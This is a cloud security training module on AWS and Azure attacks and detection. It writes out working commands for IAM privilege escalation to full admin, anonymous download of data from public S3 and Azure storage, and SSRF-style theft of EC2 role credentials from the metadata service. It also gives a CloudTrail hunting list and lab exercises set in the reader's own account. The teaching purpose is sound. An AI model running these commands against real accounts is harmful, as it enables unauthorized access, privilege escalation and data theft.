Cloud Security: AWS & Azure Attacks
Identify and exploit cloud misconfigurations — IAM privilege escalation, S3 public buckets, metadata service SSRF, storage account exposure, and cloud-native detection with CloudTrail and Azure Monitor.
Learning Objectives
- → Identify over-permissive IAM policies and escalate privileges in AWS
- → Discover publicly exposed S3 buckets and sensitive data
- → Exploit SSRF to reach the AWS metadata service (IMDSv1)
- → Enumerate and exploit Azure misconfiguration: Storage, AAD, RBAC
- → Investigate cloud attacks using CloudTrail and Azure Monitor logs
The Cloud Security Mindset
Key difference from on-prem security:
- Identity IS the perimeter (IAM misconfiguration = full breach)
- Network perimeter is soft (internet-accessible by default)
- Shared Responsibility Model:
AWS/Azure: secure OF the cloud (infrastructure)
Customer: secure IN the cloud (config, data, access)
Most cloud breaches: misconfiguration, NOT 0-day exploits
Common causes:
- Overly permissive IAM policies (S3:*, EC2:*, IAM:*)
- Public S3 buckets with sensitive data
- Hardcoded credentials in code/repos
- Exposed metadata service (SSRF -> IMDSv1)
- Unused long-term access keys
- Publicly exposed admin ports (22, 3389 on 0.0.0.0/0)
AWS IAM Attacks
IAM Privilege Escalation
# Check what you have:
aws sts get-caller-identity
aws iam list-user-policies --user-name attacker
aws iam list-attached-user-policies --user-name attacker
aws iam get-policy-version --policy-arn arn:aws:iam::...:policy/... --version-id v1
# Common PrivEsc paths (Rhino Security Labs research):
# 1. iam:CreatePolicyVersion — update existing policy to allow *
# 2. iam:AttachUserPolicy — attach AdministratorAccess to self
# 3. iam:PassRole + ec2:RunInstances — launch EC2 with privileged role
# 4. lambda:CreateFunction + iam:PassRole — deploy Lambda with admin role
# 5. sts:AssumeRole — assume a more privileged role
# PrivEsc via policy update (if iam:CreatePolicyVersion allowed):
aws iam create-policy-version --policy-arn arn:aws:iam::ACCT:policy/TestPolicy --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' --set-as-default
# PrivEsc via PassRole + Lambda:
# 1. Create Lambda function with execution role that has admin rights
# 2. Lambda can then do anything: create admin user, export data, etc.
# Tool: Pacu (AWS pentesting framework):
# pip3 install pacu
# pacu → set_keys → run iam__privesc_scan
S3 Bucket Attacks
# Find public S3 buckets:
# 1. Google dork: site:s3.amazonaws.com "company_name"
# 2. DNS bruteforce: aws-reconnaissance tools
# 3. AWS CLI: check specific buckets
# List bucket contents (public bucket):
aws s3 ls s3://company-bucket-name --no-sign-request
# Download files:
aws s3 cp s3://company-bucket-name/backup.sql . --no-sign-request
# Check bucket policy:
aws s3api get-bucket-policy --bucket company-bucket-name
aws s3api get-bucket-acl --bucket company-bucket-name
# What to look for in S3:
# - Database backups (.sql, .bak, .dump)
# - Configuration files (.env, config.yaml, .tfvars)
# - AWS credentials (!!! aws_access_key_id in files)
# - Source code with hardcoded secrets
# - PII/financial data
# Find S3 buckets by name permutation:
for suffix in backup dev prod staging logs data archive:
aws s3 ls s3://company-${suffix}/ --no-sign-request 2>/dev/null
Metadata Service SSRF (IMDSv1)
# AWS Metadata Service (IMDS): 169.254.169.254
# Provides: IAM role credentials, instance metadata, user-data
# Available to ANY code running on the EC2 instance
# If web app has SSRF vulnerability:
# Attacker sends: GET /?url=http://169.254.169.254/latest/meta-data/
# Full metadata enumeration via SSRF:
curl http://169.254.169.254/latest/meta-data/
# Output: ami-id, hostname, iam/...
# Get IAM credentials:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Output: role-name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Output: AccessKeyId, SecretAccessKey, Token, Expiration
# Use stolen credentials:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls # can now access all S3 this role can access
# Mitigation: IMDSv2 requires PUT token request first (prevents SSRF)
AWS Enumeration & Recon
# Initial access (stolen/leaked credentials):
aws configure --profile stolen
aws sts get-caller-identity --profile stolen
# Enumerate permissions (try common actions):
aws s3 ls --profile stolen
aws ec2 describe-instances --profile stolen
aws iam list-users --profile stolen
aws lambda list-functions --profile stolen
aws secretsmanager list-secrets --profile stolen
# Tool: aws-recon
# Tool: ScoutSuite (cloud security audit):
scout suite aws
# Get secrets from Secrets Manager:
aws secretsmanager get-secret-value --secret-id production/db_password
# EC2 instance metadata (from inside EC2):
curl http://169.254.169.254/latest/user-data # might contain passwords!
Azure Attacks
Azure AD / Entra ID
# Azure AD reconnaissance (with valid credentials):
# Install Az PowerShell: Install-Module Az
# Or use az CLI: apt install azure-cli
# Login:
az login
az account list # list subscriptions
# Enumerate Azure AD users:
az ad user list --output table
# Find service principals (app identities):
az ad sp list --output table
# Check role assignments:
az role assignment list --all --output table
# Look for: high-privilege roles on broad scopes (Owner, Contributor)
# Enumerate storage accounts:
az storage account list --output table
az storage container list --account-name ACCOUNT
# Tool: ROADtools (Azure AD recon):
pip3 install roadtools
roadrecon auth -u [email protected] -p 'Password'
roadrecon gather
roadrecon gui # browse Azure AD data
# Tool: AADInternals (PowerShell):
Import-Module AADInternals
Get-AADIntUsers # list all users
Azure Storage Attacks
# Check for public blob containers:
az storage container list --account-name TARGET --auth-mode login
az storage container list --account-name TARGET --public-access blob
# Access public blobs without auth:
az storage blob list --account-name TARGET --container-name public-container --auth-mode anonymous
# Download blob:
az storage blob download --account-name TARGET --container-name data --name backup.sql --file backup.sql --auth-mode anonymous
CloudTrail & Detection
# CloudTrail: logs all AWS API calls (who did what, when, from where)
# Default: management events (IAM changes, S3 bucket policy changes)
# Optional: data events (S3 GetObject, etc.) — more expensive
# Suspicious CloudTrail events to hunt:
# - ListBuckets from unknown IP → reconnaissance
# - GetSecretValue → secrets accessed
# - ConsoleLogin failure spikes → brute force
# - AttachUserPolicy → privilege escalation
# - CreateUser + AttachUserPolicy → backdoor account
# - StopLogging → attacker covering tracks!
# Query CloudTrail with Athena:
SELECT useridentity.arn, eventname, sourceipaddress, eventtime
FROM cloudtrail_logs
WHERE eventname IN ('CreateUser', 'AttachUserPolicy', 'PutUserPolicy')
ORDER BY eventtime DESC
LIMIT 100
# AWS GuardDuty: managed threat detection using ML + threat intel
# Auto-detects: compromised credentials, crypto mining, data exfil
# Enable: aws guardduty create-detector --enable
# Alert: GuardDuty:EC2/CryptoCurrencyMiningActivity
# → EC2 instance communicating with known crypto mining pools
Audit S3 bucket security (use your own AWS free tier account): (1) create an S3 bucket with default settings, (2) check: is public access blocked? (aws s3api get-public-access-block --bucket YOUR_BUCKET), (3) enable public access and observe what that means, (4) check bucket ACL (aws s3api get-bucket-acl), (5) use ScoutSuite or aws-recon against your own account to see what misconfigurations it finds, (6) use 'grep -r AWS_SECRET aws_access_key_id' to search your code repos for hardcoded credentials.
What is the S3 Block Public Access setting and why was it introduced?
What is the risk of hardcoded AWS credentials in source code?
Explore IAM privilege escalation paths (in your own AWS free tier account or a lab): (1) create a low-privilege IAM user with only: iam:GetPolicy, iam:CreatePolicyVersion, (2) use this user's credentials to check: what can you do? (3) exploit iam:CreatePolicyVersion to update a policy you have access to with Action:*, (4) verify: can you now create new users, access S3, etc.? (5) remediate: delete the permissive policy version, apply least privilege.
What is the principle of least privilege in AWS IAM?
Investigate a cloud security incident using CloudTrail: (1) enable CloudTrail in your AWS account (free for management events), (2) perform some IAM changes (create user, attach policy), (3) query CloudTrail via Console > CloudTrail > Event History, (4) filter for your changes: find CreateUser, AttachUserPolicy events, (5) identify: who, what, when, from where for each event, (6) simulate: if an attacker had done these same actions, what would the forensic evidence look like?
What CloudTrail event should immediately trigger an alert?